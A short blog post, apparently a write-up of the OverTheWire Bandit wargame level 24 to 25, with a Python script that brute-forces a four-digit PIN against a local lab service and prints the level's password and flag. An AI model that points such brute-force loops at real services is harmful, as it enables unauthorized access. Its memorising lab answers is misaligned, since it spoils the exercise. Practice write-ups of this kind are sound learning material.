Bandit - level24 → level25

2021. 6. 7. 00:11WarGame/Bandit

level24 → level25

# coding: utf-8

import sys  
import socket

pw = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"  
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
s.connect(("127.0.0.1", 30002))  
s.recv(1024)

for i in range(0, 10000) :  
	msg=str(pw)+" "+str(i)+"\\n"  
	s.sendall(msg.encode())  
	result = str(s.recv(1024))  
	if "Wrong" in result:  
		print("\[" + str(i) + "\]" + "is Wrong")  
	else:  
		print(i)  
		print(result)  
		break

 

FLAG : uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

'WarGame > Bandit' 카테고리의 다른 글

Bandit - level26→ level27  (0) 2021.06.09
Bandit - level25 → level26  (0) 2021.06.08
Bandit - level23 → level24  (0) 2021.05.30
Bandit - level22 → level23  (0) 2021.05.28
Bandit - level21 → level22  (0) 2021.05.27